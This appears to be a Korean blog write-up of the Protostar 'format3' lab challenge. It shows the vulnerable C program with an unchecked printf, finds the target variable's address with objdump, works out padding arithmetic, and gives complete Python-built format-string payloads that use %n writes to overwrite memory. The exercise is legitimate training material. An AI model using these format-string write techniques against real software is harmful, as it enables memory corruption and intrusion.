format3.c
#
int target; void printbuffer(char *string) { printf(string); } void vuln() { char buffer[512]; fgets(buffer, sizeof(buffer), stdin); printbuffer(buffer); if(target == 0x01025544) { printf("you have modified the target :)\n"); } else { printf("target is %08x :(\n", target); } } int main(int argc, char **argv) { vuln(); }
출처: http://liveoverflow.com/binary_hacking/protostar/format3.html
1. 문제 해결
1-1. ./format3
target의 주소를 바꿔야 하므로 target의 위치를 알아야 한다.
objdump -t ./format3 | grep target
target의 주소는 0x080496f4이다.
1-2. target 분석
코드를 보면 target을 0x01025544로 바꿔야 한다.
format2 같은 경우는 작은 수여서 크게 문제가 없었는데 이번에는 굉장히 크기 때문에
나눠서 해결해야 한다.
01 / 0255 / 44
세 개로 나누어서 진행하겠다.
1-3. 주소값 확인
세 개로 나누어진 것 중에서 44가 들어갈 위치는
target의 위치; 0x080496f4이다.
세 개로 나누어진 것 중에서 0255가 들어갈 위치는
target의 위치; 0x080496f5 (1바이트 다음 것을 쓰기 때문에 +1)
세 개로 나누어진 것 중에서 01이 들어갈 위치는
target의 위치; 0x080496f7 (0x080496f5 기준 2바이트 다음 것을 쓰기 때문에 +2)
1-4. 해결
44는 %8x일 때 77이다.
비트를 늘릴 순 있어도 줄일 순 없다.
그래서 144로 만든 후 1이 들어간 비트를 255로 다시 덮어 쓰면 된다.
0x144 (16진수) - 0x77 (16진수) + 8 (10진수) = 213
같은 맥락으로
0255는 %8x일 때, 014e이다.
0x0255 (16진수) - 0x014e (16진수) + 8 (10진수) = 271
동일하게
01은 %8x일 때, 5f이다.
늘릴 순 없으니까 101로 만들면 된다.
0x101 (16진수) - 0x5f (16진수) + 8 (10진수) = 170
결론적으로
echo $(python -c "print 'AAAA' + '\xf4\x96\x04\x08' +'BBBB' + '\xf5\x96\x04\x08' + 'CCCC'+ '\xf7\x96\x04\x08' + '%x.' * 11 + '%213x.%n.%271x.%n.%170x.%n.'") | ./format3
하면 해결 가능하다.
3개의 바이트 단위로 쪼갰기 때문에 %x, %n 각각 3번씩나와야 한다.
1-5. 4바이트로 쪼갰다면?
01 / 02 / 55 / 44
이렇게 쪼갰다면
echo $(python -c "print 'AAAA' + '\xf4\x96\x04\x08' +'BBBB' + '\xf5\x96\x04\x08' + 'CCCC'+ '\xf6\x96\x04\x08' + 'DDDD' + '\xf7\x96\x04\x08'+ '%x.' * 11 + '%205x.%n.%15x.%n.%171x.%n.%253x.%n.'") | ./format3
위와 같이 하면 된다.
피드백 환영입니다!
'프로토스타' 카테고리의 다른 글
[프로토스타] heap0 (0) | 2019.01.23 |
---|---|
[프로토스타] format4 (0) | 2019.01.23 |
[프로토스타] format2 (0) | 2019.01.22 |
[프로토스타] format1 (0) | 2019.01.22 |
[프로토스타] format0 (0) | 2019.01.18 |